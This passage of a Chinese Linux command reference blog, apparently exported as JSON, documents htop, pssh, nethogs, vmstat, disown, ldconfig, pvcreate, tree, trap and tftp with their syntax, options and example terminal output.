来增大或减小 nice 值,nice 值范围为-20-19 F9:杀死进程 选择某一进程按 F9 即可杀死此进程,很方便 F10:退出 htop ","tags":[{"name":"Linux命令","slug":"linux-command","used":true,"link":"https://dev-coco.github.io/tag/linux-command/"}],"title":"htop","feature":"https://dev-coco.github.io/post-images/Linux-Command.png","link":"https://dev-coco.github.io/post/htop/","stats":{"text":"5 min read","time":249000,"words":1113,"minutes":5},"date":"2022-02-03 16:08:50","dateFormat":"2022-02-03"},{"content":"批量管理执行。 补充说明 pssh 命令是一个 python 编写可以在多台服务器上执行命令的工具,同时支持拷贝文件,是同类工具中很出色的,类似 pdsh,个人认为相对 pdsh 更为简便,使用必须在各个服务器上配置好密钥认证访问。 安装 pssh 在 CentOS 系统环境下,介绍 yum 的安装和源码安装的方式: yum 方法 yum install pssh 编译安装 wget http://parallel-ssh.googlecode.com/files/pssh-2.3.1.tar.gz tar xf pssh-2.3.1.tar.gz cd pssh-2.3.1/ python setup.py install 选项 --version:查看版本 --help:查看帮助,即此信息 -h:主机文件列表,内容格式”[user@]host[:port]” -H:主机字符串,内容格式”[user@]host[:port]” -:登录使用的用户名 -p:并发的线程数【可选】 -o:输出的文件目录【可选】 -e:错误输入文件【可选】 -t:TIMEOUT 超时时间设置,0 无限制【可选】 -O:SSH 的选项 -v:详细模式 -A:手动输入密码模式 -x:额外的命令行参数使用空白符号,引号,反斜线处理 -X:额外的命令行参数,单个参数模式,同-x -i:每个服务器内部处理信息输出 -P:打印出服务器返回信息 实例 获取每台服务器的 uptime: # pssh -h ip.txt -i uptime [1] 11:15:03 [SUCCESS] Mar.mars.he 11:15:11 up 4 days, 16:25, 1 user, load average: 0.00, 0.00, 0.00 [2] 11:15:03 [SUCCESS] Jan.mars.he 11:15:12 up 3 days, 23:26, 0 users, load average: 0.00, 0.00, 0.00 [3] 11:15:03 [SUCCESS] Feb.mars.he 11:15:12 up 4 days, 16:26, 2 users, load average: 0.08, 0.02, 0.01 查看每台服务器上 mysql 复制 IO/SQL 线程运行状态信息: # pssh -h IP.txt -i "/usr/local/mysql/bin/mysql -e 'show slave status \\G'"|grep Running: Slave_IO_Running: yes Slave_SQL_Running: Yes Slave_IO_Running: Yes Slave_SQL_Running: Yes Slave_IO_Running: Yes Slave_SQL_Running: Yes 保存每台服务器运行的结果: # pssh -h IP.txt -i -o /tmp/pssh/ uptime [1] 11:19:47 [SUCCESS] Feb.mars.he 11:19:55 up 4 days, 16:31, 2 users, load average: 0.02, 0.03, 0.00 [2] 11:19:47 [SUCCESS] Jan.mars.he 11:19:56 up 3 days, 23:30, 0 users, load average: 0.01, 0.00, 0.00 [3] 11:19:47 [SUCCESS] Mar.mars.he 11:19:56 up 4 days, 16:30, 1 user, load average: 0.00, 0.00, 0.00 我们来看一下/tmp/pssh/下的文件及其内容 # ll /tmp/pssh/ 总用量 12 -rw-r--r--. 1 root root 70 12 月 1 11:19 Feb.mars.he -rw-r--r--. 1 root root 70 12 月 1 11:19 Jan.mars.he -rw-r--r--. 1 root root 69 12 月 1 11:19 Mar.mars.he # cat /tmp/pssh/* 11:19:55 up 4 days, 16:31, 2 users, load average: 0.02, 0.03, 0.00 11:19:56 up 3 days, 23:30, 0 users, load average: 0.01, 0.00, 0.00 11:19:56 up 4 days, 16:30, 1 user, load average: 0.00, 0.00, 0.00 上面介绍的是 pssh 命令很少的一部分,大家可以将其用到适合自己的场景,发挥它的最大功效。 ","tags":[{"name":"Linux命令","slug":"linux-command","used":true,"link":"https://dev-coco.github.io/tag/linux-command/"}],"title":"pssh","feature":"https://dev-coco.github.io/post-images/Linux-Command.png","link":"https://dev-coco.github.io/post/pssh/","stats":{"text":"4 min read","time":213000,"words":736,"minutes":4},"date":"2022-02-03 16:06:59","dateFormat":"2022-02-03"},{"content":"终端下的网络流量监控工具。 补充说明 有很多适用于 Linux 系统的开源网络监视工具。比如说,你可以用命令 iftop 来检查带宽使用情况。netstat 用来查看接口统计报告,还有 top 监控系统当前运行进程。但是如果你想要找一个能够按进程实时统计网络带宽利用率的工具,那么 NetHogs 值得一看。 NetHogs 是一个开源的命令行工具(类似于 Linux 的 top 命令),用来按进程或程序实时统计网络带宽使用率。 来自 NetHogs 项目网站: NetHogs 是一个小型的 net top 工具,不像大多数工具那样拖慢每个协议或者是每个子网的速度而是按照进程进行带宽分组。NetHogs 不需要依赖载入某个特殊的内核模块。如果发生了网络阻塞你可以启动 NetHogs 立即看到哪个 PID 造成的这种状况。这样就很容易找出哪个程序跑飞了然后突然占用你的带宽。 本文为你介绍如何在 Unix/Linux 操作系统下如何安装和使用 NetHogs 按进程监控网络带宽使用率。 语法 nethogs(选项)(参数) 选项 usage: nethogs [-V] [-h] [-b] [-d seconds] [-v mode] [-c count] [-t] [-p] [-s] [device [device [device ...]]] -V : 打印版本。 -h : 打印此帮助。 -b : bughunt 模式 - 暗示 tracemode。 -d : 延迟更新刷新率(以秒为单位)。 默认值为 1。 -v : 视图模式(0 = KB / s,1 =总 KB,2 =总 B,3 =总 MB)。 默认值为 0。 -c : 更新次数。 默认为 0(无限制)。 -t : tracemode. -p : 煽动混乱模式(不推荐)。 -s : 按发送列排序输出。 -a : 监控所有设备,甚至环回/停止。 device : 要监控的设备。 默认是所有接口启动和运行,不包括环回 当 nethogs 运行时,按: q:退出 s:按 SENT 流量排序 r:按 RECEIVE 流量排序 m:在总(KB,B,MB)和 KB / s 模式之间切换 其他参数和用法 -d : 刷新间隔 -h : 帮助 -p : promiscious 模式 -t : trace 模式 -V : 版本 交互命令 以下是 NetHogs 的一些交互命令(键盘快捷键) m : 修改单位 r : 按流量排序 s : 按发送流量排序 q : 退出命令提示符 安装 在 RHEL、CentOS 和 Fedora 下安装 NetHogs 要安装 NetHogs,你必须要启用你所用 Linux 下的 EPEL 源。然后运行下面的 yum 命令下载安装 NetHogs 包。 yum install nethogs 在 Ubuntu、Linux mint 和 Debian 下安装 NetHogs 键入 apt-get 命令安装 NetHogs 包: $ sudo apt-get install nethogs NetHogs 用法 在基于 RedHat 系统下键入如下命令启动 NetHogs 工具。 nethogs 在 Debian/Ubuntu/Linux Mint 下要执行 NetHogs 你必须拥有 root 权限: $ sudo nethogs !nethogs Ubuntu 12.10 下的 NetHogs 预览 正如上图所示,send 列和 received 列显示的是按照每个进程的流量统计。总的收发数据带宽在最下方,而且可以用交互命令控制排序,下面将要讨论这些交互命令。 NetHogs 命令行参数 以下就是 NetHogs 命令行的参数,用-d 来添加刷新频率参数,device name 用来检测给定的某个或者某些设备的带宽(默认是 eth0)。例如:设置 5 秒钟的刷新频率,键入如下命令即可: nethogs -d 5 $ sudo nethogs -d 5 如果只用来监视设备(eth0)的网络带宽可以使用如下命令: nethogs eth0 $ sudo nethogs eth0 如果要同时监视 eth0 和 eth1 接口,使用以下命令即可: nethogs eth0 eth1 $ sudo nethogs eth0 eth1 关于 NetHogs 命令行工具的完整参数列表,可以参考 NetHogs 的手册,使用方法是在终端里输入man nethogs或者sudo man nethogs,更多信息请参考 NetHogs 项目主页。 ","tags":[{"name":"Linux命令","slug":"linux-command","used":true,"link":"https://dev-coco.github.io/tag/linux-command/"}],"title":"nethogs","feature":"https://dev-coco.github.io/post-images/Linux-Command.png","link":"https://dev-coco.github.io/post/nethogs/","stats":{"text":"4 min read","time":219000,"words":952,"minutes":4},"date":"2022-02-03 16:06:18","dateFormat":"2022-02-03"},{"content":"显示虚拟内存状态。 补充说明 vmstat 命令的含义为显示虚拟内存状态(“Viryual Memor Statics”),但是它可以报告关于进程、内存、I/O 等系统整体运行状态。 语法 vmstat (选项) (参数) 选项 -a:显示活动内页; -f:显示启动后创建的进程总数; -m:显示 slab 信息; -n:头信息仅显示一次; -s:以表格方式显示事件计数器和内存状态; -d:报告磁盘状态; -p:显示指定的硬盘分区状态; -S:输出信息的单位。 参数 事件间隔:状态信息刷新的时间间隔; 次数:显示报告的次数。 实例 vmstat 3 procs -----------memory---------- ---swap-- -----io---- --system-- -----cpu------ r b swpd free buff cache si so bi bo in cs us sy id wa st 0 0 320 42188 167332 1534368 0 0 4 7 1 0 0 0 99 0 0 0 0 320 42188 167332 1534392 0 0 0 0 1002 39 0 0 100 0 0 0 0 320 42188 167336 1534392 0 0 0 19 1002 44 0 0 100 0 0 0 0 320 42188 167336 1534392 0 0 0 0 1002 41 0 0 100 0 0 0 0 320 42188 167336 1534392 0 0 0 0 1002 41 0 0 100 0 0 字段说明: Procs(进程) r: 运行队列中进程数量,这个值也可以判断是否需要增加 CPU。(长期大于 1) b: 等待 IO 的进程数量。 Memory(内存) swpd: 使用虚拟内存大小,如果 swpd 的值不为 0,但是 SI,SO 的值长期为 0,这种情况不会影响系统性能。 free: 空闲物理内存大小。 buff: 用作缓冲的内存大小。 cache: 用作缓存的内存大小,如果 cache 的值大的时候,说明 cache 处的文件数多,如果频繁访问到的文件都能被 cache 处,那么磁盘的读 IO bi 会非常小。 Swap si: 每秒从交换区写到内存的大小,由磁盘调入内存。 so: 每秒写入交换区的内存大小,由内存调入磁盘。 注意:内存够用的时候,这 2 个值都是 0,如果这 2 个值长期大于 0 时,系统性能会受到影响,磁盘 IO 和 CPU 资源都会被消耗。有些朋友看到空闲内存(free)很少的或接近于 0 时,就认为内存不够用了,不能光看这一点,还要结合 si 和 so,如果 free 很少,但是 si 和 so 也很少(大多时候是 0),那么不用担心,系统性能这时不会受到影响的。 IO(现在的 Linux 版本块的大小为 1kb) bi: 每秒读取的块数 bo: 每秒写入的块数 注意:随机磁盘读写的时候,这 2 个值越大(如超出 1024k),能看到 CPU 在 IO 等待的值也会越大。 system(系统) in: 每秒中断数,包括时钟中断。 cs: 每秒上下文切换数。 注意:上面 2 个值越大,会看到由内核消耗的 CPU 时间会越大。 CPU(以百分比表示) us: 用户进程执行时间百分比 (user time) us 的值比较高时,说明用户进程消耗的 CPU 时间多,但是如果长期超 50%的使用,那么我们就该考虑优化程序算法或者进行加速。 sy: 内核系统进程执行时间百分比 (system time) sy 的值高时,说明系统内核消耗的 CPU 资源多,这并不是良性表现,我们应该检查原因。 wa: IO 等待时间百分比 wa 的值高时,说明 IO 等待比较严重,这可能由于磁盘大量作随机访问造成,也有可能磁盘出现瓶颈(块操作)。 id: 空闲时间百分比 ","tags":[{"name":"Linux命令","slug":"linux-command","used":true,"link":"https://dev-coco.github.io/tag/linux-command/"}],"title":"vmstat","feature":"https://dev-coco.github.io/post-images/Linux-Command.png","link":"https://dev-coco.github.io/post/vmstat/","stats":{"text":"4 min read","time":215000,"words":909,"minutes":4},"date":"2022-02-03 16:05:07","dateFormat":"2022-02-03"},{"content":"从当前的 shell 中移除作业。。 概要 disown [-h] [-ar] [jobspec ... | pid ...] 主要用途 从当前 shell 的作业列表中移除全部作业。 从当前 shell 的作业列表中移除指定的一到多个作业。 从当前 shell 的作业列表中移除正在运行的作业。 标记作业,使得它们在当前 shell 退出后也不会结束。 选项 -h 标记每个作业标识符,这些作业将不会在 shell 接收到 sighup 信号时接收到 sighup 信号。 -a 移除所有的作业。 -r 移除运行的作业。 参数 jobspec(可选):要移除的作业标识符,可以是一到多个。 pid(可选):要移除的作业对应的进程 ID,可以是一到多个。 返回值 返回成功除非未开启作业控制或执行出现错误。 例子 # 演示。 [user2@pc] ssh 192.168.1.4 user2@192.168.1.4's password: # 此时按下 ctrl+z 使得交互停止。 [1]+ Stopped ssh 192.168.1.4 [user2@pc] ssh 192.168.1.7 user2@192.168.1.7's password: # 此时按下 ctrl+z 使得交互停止。 [1]+ Stopped ssh 192.168.1.7 [user2@pc] sleep 120 & [3] 28986 # 列出作业及 pid 信息。 [user2@pc] jobs -l [1]- 28756 Stopped ssh 192.168.1.4 [2]+ 28833 Stopped ssh 192.168.1.7 [3] 28986 Running sleep 120 & # 删除运行状态的作业。 [user2@pc] disown -r [user2@pc] jobs -l [1]- 28756 Stopped ssh 192.168.1.4 [2]+ 28833 Stopped ssh 192.168.1.7 # 注意 disown 只是移除作业,并没有停止。 [user2@pc] pgrep -a -u user2 -f 'sleep 120' 28986 sleep 120 # 删除指定的作业。 [user2@pc] disown %2 bash: warning: deleting stopped job 2 with process group 28833 [user2@pc] jobs -l [1]- 28756 Stopped ssh 192.168.1.4 # 注意 disown 只是移除作业,并没有停止。 [user2@pc] pgrep -a -u user2 -f 'ssh 192.168.1.7' 28833 ssh 192.168.1.7 # 删除全部作业。 [user2@pc] disown -a bash: warning: deleting stopped job 1 with process group 28756 [user2@pc] jobs -l # 注意 disown 只是移除作业,并没有停止。 [user2@pc] pgrep -a -u user2 -f 'ssh 192.168.1.4' 28756 ssh 192.168.1.4 # 演示-h 选项的作用。 [user2@pc] sleep 90 & [1] 109080 [user2@pc] jobs -l [1]+ 109080 Running sleep 90 & [user2@pc] disown -h %1 [user2@pc] exit # 此时前一个终端已经关闭,现在打开新终端查找该作业。 [user2@pc] pgrep -a -u user2 -f 'sleep 90' 109080 sleep 90 注意 bash的作业控制命令包括bg fg kill wait disown suspend。 该命令需要set选项monitor处于开启状态时才能执行;查看作业控制状态:输入set -o查看monitor行;执行set -o monitor或set -m开启该选项。 该命令是 bash 内建命令,相关的帮助信息请查看help命令。 ","tags":[{"name":"Linux命令","slug":"linux-command","used":true,"link":"https://dev-coco.github.io/tag/linux-command/"}],"title":"disown","feature":"https://dev-coco.github.io/post-images/Linux-Command.png","link":"https://dev-coco.github.io/post/disown/","stats":{"text":"3 min read","time":178000,"words":657,"minutes":3},"date":"2022-02-03 16:04:55","dateFormat":"2022-02-03"},{"content":"动态链接库管理命令。 补充说明 ldconfig 命令的用途主要是在默认搜寻目录/lib和/usr/lib以及动态库配置文件/etc/ld.so.conf内所列的目录下,搜索出可共享的动态链接库(格式如 lib.so),进而创建出动态装入程序 (ld.so) 所需的连接和缓存文件。缓存文件默认为/etc/ld.so.cache,此文件保存已排好序的动态链接库名字列表,为了让动态链接库为系统所共享,需运行动态链接库的管理命令 ldconfig,此执行程序存放在/sbin目录下。 ldconfig 通常在系统启动时运行,而当用户安装了一个新的动态链接库时,就需要手工运行这个命令。 语法 ldconfig [-v|--verbose] [-n] [-N] [-X] [-f CONF] [-C CACHE] [-r ROOT] [-l] [-p|--print-cache] [-c FORMAT] [--format=FORMAT] [-V] -?|--[help|--usage] path... 选项 -v 或--verbose:用此选项时,ldconfig 将显示正在扫描的目录及搜索到的动态链接库,还有它所创建的连接的名字。 -n:用此选项时,ldconfig 仅扫描命令行指定的目录,不扫描默认目录(/lib、/usr/lib),也不扫描配置文件/etc/ld.so.conf 所列的目录。 -N:此选项指示 ldconfig 不重建缓存文件(/etc/ld.so.cache),若未用-X 选项,ldconfig 照常更新文件的连接。 -X:此选项指示 ldconfig 不更新文件的连接,若未用-N 选项,则缓存文件正常更新。 -f CONF:此选项指定动态链接库的配置文件为 CONF,系统默认为/etc/ld.so.conf。 -C CACHE:此选项指定生成的缓存文件为 CACHE,系统默认的是/etc/ld.so.cache,此文件存放已排好序的可共享的动态链接库的列表。 -r ROOT:此选项改变应用程序的根目录为 ROOT(是调用 chroot 函数实现的)。选择此项时,系统默认的配置文件/etc/ld.so.conf,实际对应的为 ROOT/etc/ld.so.conf。如用-r /usr/zzz 时,打开配置文件/etc/ld.so.conf 时,实际打开的是/usr/zzz/etc/ld.so.conf 文件。用此选项,可以大大增加动态链接库管理的灵活性。 -l:通常情况下,ldconfig 搜索动态链接库时将自动建立动态链接库的连接,选择此项时,将进入专家模式,需要手工设置连接,一般用户不用此项。 -p 或--print-cache:此选项指示 ldconfig 打印出当前缓存文件所保存的所有共享库的名字。 -c FORMAT 或 --format=FORMAT:此选项用于指定缓存文件所使用的格式,共有三种:old(老格式),new(新格式) 和 compat(兼容格式,此为默认格式)。 -V:此选项打印出 ldconfig 的版本信息,而后退出。 -? 或 --help 或 --usage:这三个选项作用相同,都是让 ldconfig 打印出其帮助信息,而后退出。 ldconfig 几个需要注意的地方: 往/lib和/usr/lib里面加东西,是不用修改/etc/ld.so.conf的,但是完了之后要调一下 ldconfig,不然这个 library 会找不到。 想往上面两个目录以外加东西的时候,一定要修改/etc/ld.so.conf,然后再调用 ldconfig,不然也会找不到。 比如安装了一个 mysql 到/usr/local/mysql,mysql 有一大堆 library 在/usr/local/mysql/lib下面,这时就需要在/etc/ld.so.conf下面加一行/usr/local/mysql/lib,保存过后 ldconfig 一下,新的 library 才能在程序运行时被找到。 如果想在这两个目录以外放 lib,但是又不想在/etc/ld.so.conf中加东西(或者是没有权限加东西)。那也可以,就是 export 一个全局变量 LD_LIBRARY_PATH,然后运行程序的时候就会去这个目录中找 library。一般来讲这只是一种临时的解决方案,在没有权限或临时需要的时候使用。 ldconfig 做的这些东西都与运行程序时有关,跟编译时一点关系都没有。编译的时候还是该加-L 就得加,不要混淆了。 总之,就是不管做了什么关于 library 的变动后,最好都 ldconfig 一下,不然会出现一些意想不到的结果。不会花太多的时间,但是会省很多的事。 再有,诸如 libdb-4.3.so 文件头中是会含有库名相关的信息的(即含“libdb-4.3.so”,可用 strings 命令察看),因此仅通过修改文件名以冒充某已被识别的库(如 libdb-4.8.so)是行不通的。为此可在编译库的 Makefile 中直接修改配置信息,指定特别的库名。 ","tags":[{"name":"Linux命令","slug":"linux-command","used":true,"link":"https://dev-coco.github.io/tag/linux-command/"}],"title":"ldconfig","feature":"https://dev-coco.github.io/post-images/Linux-Command.png","link":"https://dev-coco.github.io/post/ldconfig/","stats":{"text":"5 min read","time":269000,"words":1186,"minutes":5},"date":"2022-02-03 16:04:39","dateFormat":"2022-02-03"},{"content":"将物理硬盘分区初始化为物理卷。 补充说明 pvcreate 命令用于将物理硬盘分区初始化为物理卷,以便 LVM 使用。 语法 pvcreate (选项) (参数) 选项 -f:强制创建物理卷,不需要用户确认; -u:指定设备的 UUID; -y:所有的问题都回答“yes”; -Z:是否利用前 4 个扇区。 参数 物理卷:指定要创建的物理卷对应的设备文件名。 实例 查看磁盘信息: [root@localhost ~]# fdisk -l Disk /dev/hda: 41.1 GB, 41174138880 bytes 255 heads, 63 sectors/track, 5005 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Device Boot Start End Blocks id System /dev/hda1 * 1 13 104391 83 Linux /dev/hda2 14 1288 10241437+ 83 Linux /dev/hda3 1289 1925 5116702+ 83 Linux /dev/hda4 1926 5005 24740100 5 Extended /dev/hda5 1926 2052 1020096 82 Linux swap / Solaris /dev/hda6 2053 2235 1469916 8e Linux LVM /dev/hda7 2236 2418 1469916 8e Linux LVM /dev/hda8 2419 2601 1469916 8e Linux LVM /dev/hda9 2602 2784 1469916 8e Linux LVM 检查有无 PV 在系统上,然后将/dev/hda6到/dev/hda9建立成为 PV 格式 [root@localhost ~]# pvscan No matching physical volumes found #找不到任何的 PV 存在! 将 6-9 分区转成 pv,注意大括号的用途: [root@localhost ~]# pvcreate /dev/hda{6,7,8,9} Physical volume "/dev/hda6" successfully created Physical volume "/dev/hda7" successfully created Physical volume "/dev/hda8" successfully created Physical volume "/dev/hda9" successfully created 这就分別表示每个 PV 的信息与系统所有 PV 的信息: [root@localhost ~]# pvscan PV /dev/hda6 lvm2 [1.40 GB] PV /dev/hda7 lvm2 [1.40 GB] PV /dev/hda8 lvm2 [1.40 GB] PV /dev/hda9 lvm2 [1.40 GB] Total: 4 [5.61 GB] / in use: 0 [0 ] / in no VG: 4 [5.61 GB] 更详细的列示出系统上面每个 PV 信息: [root@localhost ~]# pvdisplay "/dev/hda6" is a new physical volume of "1.40 GB" --- NEW Physical volume --- PV Name /dev/hda6 #实际的 partition 分区名称 VG Name #因为尚未分配出去,所以空白! PV Size 1.40 GB #就是容量说明 Allocatable NO #是否已被分配,结果是 NO PE Size (KByte) 0 #在此 PV 內的 PE 大小 Total PE 0 #共分割出几个 PE free PE 0 #沒被 LV 用掉的 PE Allocated PE 0 #尚可分配出去的 PE 数量 PV UUID Z13Jk5-RCls-UJ8B-HzDa-Gesn-atku-rf2biN ....(底下省略).... 删除物理卷: [root@localhost ~]# pvremove /dev/sdb2 Labels on physical volume "/dev/sdb2" successfully wiped 修改物理卷属性: [root@localhost ~]# pvchange -x n /dev/sdb1 #禁止分配指定物理卷上的 PE Physical volume "/dev/sdb1" changed 1 physical volume changed / 0 physical volumes not changed ","tags":[{"name":"Linux命令","slug":"linux-command","used":true,"link":"https://dev-coco.github.io/tag/linux-command/"}],"title":"pvcreate","feature":"https://dev-coco.github.io/post-images/Linux-Command.png","link":"https://dev-coco.github.io/post/pvcreate/","stats":{"text":"3 min read","time":176000,"words":597,"minutes":3},"date":"2022-02-03 16:04:27","dateFormat":"2022-02-03"},{"content":"树状图列出目录的内容。 补充说明 tree 命令以树状图列出目录的内容。 语法 tree (选项) (参数) 选项 ------- 列表选项 ------- -a # 显示所有文件和目录。 -d # 先是目录名称而非文件。 -l # 如遇到性质为符号连接的目录,直接列出该连接所指向的原始目录。 -f # 在每个文件或目录之前,显示完整的相对路径名称。 -x # 将范围局限在现行的文件系统中,若指定目录下的某些子目录,其存放于另一个文件系统上,则将该目录予以排除在寻找范围外。 -L level # 限制目录显示层级。 -R # Rerun tree when max dir level reached. -P pattern # <范本样式> 只显示符合范本样式的文件和目录名称。 -I pattern # Do not list files that match the given pattern. --ignore-case # Ignore case when pattern matching. --matchdirs # Include directory names in -P pattern matching. --noreport # Turn off file/directory count at end of tree listing. --charset X # Use charset X for terminal/HTML and indentation line output. --filelimit # # Do not descend dirs with more than # files in them. --timefmt <f> # Print and format time according to the format <f>. -o filename # Output to file instead of stdout. -------- 文件选项 --------- -q # 用“?”号取代控制字符,列出文件和目录名称。 -N # 直接列出文件和目录名称,包括控制字符。 -Q # Quote filenames with double quotes. -p # 列出权限标示。 -u # 列出文件或目录的拥有者名称,没有对应的名称时,则显示用户识别码。 -g # 列出文件或目录的所属群组名称,没有对应的名称时,则显示群组识别码。 -s # 列出文件和目录大小。 -h # Print the size in a more human readable way. --si # Like -h, but use in SI units (powers of 1000). -D # 列出文件或目录的更改时间。 -F # 在执行文件,目录,Socket,符号连接,管道名称名称,各自加上"*","/","@","|"号。 --inodes # Print inode number of each file. --device # Print device ID number to which each file belongs. ------- 排序选项 ------- -v # Sort files alphanumerically by version. -t # 用文件和目录的更改时间排序。 -c # Sort files by last status change time. -U # Leave files unsorted. -r # Reverse the order of the sort. --dirsfirst # List directories before files (-U disables). --sort X # Select sort: name,version,size,mtime,ctime. ------- 图形选项 ------ -i # 不以阶梯状列出文件和目录名称。 -A # 使用 ASNI 绘图字符显示树状图而非以 ASCII 字符组合。 -S # Print with CP437 (console) graphics indentation lines. -n # Turn colorization off always (-C overrides). -C # 在文件和目录清单加上色彩,便于区分各种类型。 ------- XML / HTML / JSON 选项 ------- -X # Prints out an XML representation of the tree. -J # Prints out an JSON representation of the tree. -H baseHREF # Prints out HTML format with baseHREF as top directory. -T string # Replace the default HTML title and H1 header with string. --nolinks # Turn off hyperlinks in HTML output. ---- 杂项选项 ---- --version # 输入版本信息。 --help # 打印使用帮助信息。 -- # Options processing terminator. 参数 目录:执行 tree 指令,它会列出指定目录下的所有文件,包括子目录里的文件。 实例 列出目录/private/ 第一级文件名 tree /private/ -L 1 /private/ ├── etc ├── tftpboot ├── tmp └── var 忽略文件夹 tree -I node_modules # 忽略当前目录文件夹 node_modules tree -P node_modules # 列出当前目录文件夹 node_modules 的目录结构 tree -P node_modules -L 2 # 显示目录 node_modules 两层的目录树结构 tree -L 2 > /home/www/tree.txt # 当前目录结果存到 tree.txt 文件中 忽略多个文件夹 tree -I 'node_modules|icon|font' -L 2 ","tags":[{"name":"Linux命令","slug":"linux-command","used":true,"link":"https://dev-coco.github.io/tag/linux-command/"}],"title":"tree","feature":"https://dev-coco.github.io/post-images/Linux-Command.png","link":"https://dev-coco.github.io/post/tree/","stats":{"text":"4 min read","time":227000,"words":854,"minutes":4},"date":"2022-02-03 16:04:04","dateFormat":"2022-02-03"},{"content":"捕捉信号和其他事件并执行命令。。 概要 trap [-lp] [[arg] signal_spec ...] 主要用途 用于指定在接收到信号后将要采取的动作。 脚本程序被中断时执行清理工作。 选项 -l 打印信号名称以及信号名称对应的数字。 -p 显示与每个信号关联的 trap 命令。 参数 arg:接收到信号时执行的命令。 signal_spec:信号名称或信号名称对应的数字。 返回值 如果表达式执行结果为成功时返回 0,当参数 signal_spec 没有指定有效值时返回 1。 关于信号 信号是一种进程间通信机制,它给应用程序提供一种异步的软件中断,使应用程序有机会接受其他程序活终端发送的命令 (即信号)。应用程序收到信号后,有三种处理方式:忽略,默认,或捕捉。进程收到一个信号后,会检查对该信号的处理机制。如果是 SIG_IGN,就忽略该信号;如果是 SIG_DFT,则会采用系统默认的处理动作,通常是终止进程或忽略该信号;如果给该信号指定了一个处理函数 (捕捉),则会中断当前进程正在执行的任务,转而去执行该信号的处理函数,返回后再继续执行被中断的任务。 在有些情况下,我们不希望自己的 shell 脚本在运行时刻被中断,比如说我们写得 shell 脚本设为某一用户的默认 shell,使这一用户进入系统后只能作某一项工作,如数据库备份, 我们可不希望用户使用 Ctrl+C 等方法进入到 shell 状态做我们不希望做的事情。这便用到了信号处理。 以下是一些你可能会遇到的常见信号: 信号名称 信号数 描述 SIGHUP 1 本信号在用户终端连接(正常或非正常)结束时发出,通常是在终端的控制进程结束时,通知同一session内的各个作业,这时它们与控制终端不再关联。登录Linux时,系统会分配给登录用户一个终端(Session)。在这个终端运行的所有程序,包括前台进程组和后台进程组,一般都属于这个Session。当用户退出Linux登录时,前台进程组和后台有对终端输出的进程将会收到SIGHUP信号。这个信号的默认操作为终止进程,因此前台进程组和后台有终端输出的进程就会中止。对于与终端脱离关系的守护进程,这个信号用于通知它重新读取配置文件。 SIGINT 2 程序终止(interrupt)信号,在用户键入 Ctrl+C 时发出。 SIGQUIT 3 和SIGINT类似,但由QUIT字符(通常是Ctrl /)来控制。进程在因收到SIGQUIT退出时会产生core文件,在这个意义上类似于一个程序错误信号。 SIGFPE 8 在发生致命的算术运算错误时发出。不仅包括浮点运算错误,还包括溢出及除数为0等其它所有的算术错误。 SIGKILL 9 用来立即结束程序的运行。本信号不能被阻塞,处理和忽略。 SIGALRM 14 时钟定时信号,计算的是实际的时间或时钟时间。alarm 函数使用该信号。 SIGTERM 15 程序结束(terminate)信号, 与SIGKILL不同的是该信号可以被阻塞和处理. 通常用来要求程序自己正常退出;kill 命令缺省产生这个信号。 例子 当 shell 收到 HUP INT PIPE QUIT TERM 这几个命令时,当前执行的程序会执行 exit 1。 [root@pc root]$ trap "exit 1" HUP INT PIPE QUIT TERM 1 清理临时文件 下面展示了如果有人试图从终端中止程序时,如何删除文件然后退出: trap "rm -f $WORKDIR/work1 $WORKDIR/dataout; exit" 2 执行 shell 程序,如果程序接收信号为 2,那么这两个文件 (work1 和 dataout) 将被自动删除。 添加信号 1 SIGHUP: $ trap "rm $WORKDIR/work1 $WORKDIR/dataout; exit" 1 2 2 忽略信号 如果陷阱列出的命令是空的,指定的信号接收时,将被忽略: $ trap '' 2 忽略多个信号: $ trap '' 1 2 3 15 3 重置陷阱 当你改变了收到信号后采取的动作,你可以省略第一个参数来重置到默认行为。 $ trap 1 2 ","tags":[{"name":"Linux命令","slug":"linux-command","used":true,"link":"https://dev-coco.github.io/tag/linux-command/"}],"title":"trap","feature":"https://dev-coco.github.io/post-images/Linux-Command.png","link":"https://dev-coco.github.io/post/trap/","stats":{"text":"5 min read","time":248000,"words":1144,"minutes":5},"date":"2022-02-03 16:02:45","dateFormat":"2022-02-03"},{"content":"在本机和 tftp 服务器之间使用 TFTP 协议传输文件。 补充说明 tftp 命令用在本机和 tftp 服务器之间使用 TFTP 协议传输文件。 TFTP 是用来下载远程文件的最简单网络协议,它其于 UDP 协议而实现。嵌入式 linux 的 tftp 开发环境包括两个方面:一是 linux 服务器端的 tftp-server 支持,二是嵌入式目标系统的 tftp-client 支持。因为 u-boot 本身内置支持 tftp-client,所以嵌入式目标系统端就不用配置了。下面就详细介绍一下 linux 服务器端 tftp-server 的配置。 语法 tftp (选项) (参数) 选项 -c:指定与 tftp 服务器连接成功后,立即要执行的指令; -m:指定文件传输模式。可以是 ASCII 或者 Binary; -v:显示指令详细执行过程; -V:显示指令版本信息。 参数 主机:指定 tftp 要联机的 tftp 服务器的 ip 地址或主机名。 实例 1、安装 tftp 服务器 需要安装 xinetd、tftp 和 tftp-server 3 个软件 如果能上网,通过 yum 安装: yum install xinetd yum install tftp yum install tftp-server 如果不能上网,可以直接安装提供的 rpm 包: rpm -ivh xinetd-2.3.14-18.fc9.i386.rpm rpm -ivh tftp-0.48-3.fc9.i386.rpm rpm -ivh tftp-server-0.48-3.fc9.i386.rpm 2、配置 tftp 服务器 修改/etc/xinetd.d/tftp 文件,将其中的 disable=yes 改为 disable=no。主要是设置 TFTP 服务器的根目录,开启服务。修改后的文件如下: service tftp { socket_type =dgram protocol =udp wait =yes user =root server =/usr/sbin/in.tftpd server_args =-s /home/mike/tftpboot -c disable =no per_source =11 cps =100 2 flags =IPv4 } 说明:修改项server_args= -s <path> -c,其中 处可以改为你的 tftp-server 的根目录,参数-s 指定 chroot,-c 指定了可以创建文件。 3、启动 tftp 服务器并关闭防火墙 /etc/init.d/iptables stop # 关闭防火墙 sudo /sbin/service xinetd start 或 service xinetd restart /etc/init.d/xinetd start 看到启动[OK] 就可以了 4、查看 tftp 服务是否开启 netstat -a | grep tftp 显示结果为udp 0 0 *:tftp *:*表明服务已经开启,就表明 tftp 配置成功了。 5、tftp 使用 复制一个文件到 tftp 服务器目录,然后在主机启动 tftp 软件,进行简单测试。 tftp 192.168.1.2 tftp>get <download file> tftp>put <upload file> tftp>q 6、tftp 命令用法如下 tftp your-ip-address 进入 TFTP 操作: connect:连接到远程 tftp 服务器 mode:文件传输模式 put:上传文件 get:下载文件 quit:退出 